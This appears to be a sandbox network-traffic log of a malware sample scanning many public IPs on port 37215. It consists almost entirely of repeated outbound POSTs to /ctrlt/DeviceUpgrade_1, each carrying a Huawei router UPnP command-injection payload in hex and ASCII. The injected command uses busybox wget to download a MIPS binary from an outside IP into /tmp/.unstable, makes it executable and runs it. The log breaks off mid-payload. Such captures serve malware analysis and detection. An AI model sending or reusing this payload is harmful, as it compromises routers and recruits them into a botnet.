Jun 1, 2024 18:15:54.253978014 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
252	192.168.2.23	50018	197.215.229.110	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.254034996 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
253	192.168.2.23	49882	197.121.136.81	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.254086018 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
254	192.168.2.23	44086	41.139.184.97	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.254180908 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
255	192.168.2.23	49224	41.43.208.255	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.254230022 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
256	192.168.2.23	59806	197.33.181.12	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.254259109 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
257	192.168.2.23	38486	41.84.23.118	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.254303932 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
258	192.168.2.23	60452	156.6.171.128	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.254354000 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
259	192.168.2.23	34226	41.74.251.91	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.254379034 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
260	192.168.2.23	33544	41.244.158.164	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.254416943 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
261	192.168.2.23	47530	156.234.39.13	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.254453897 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 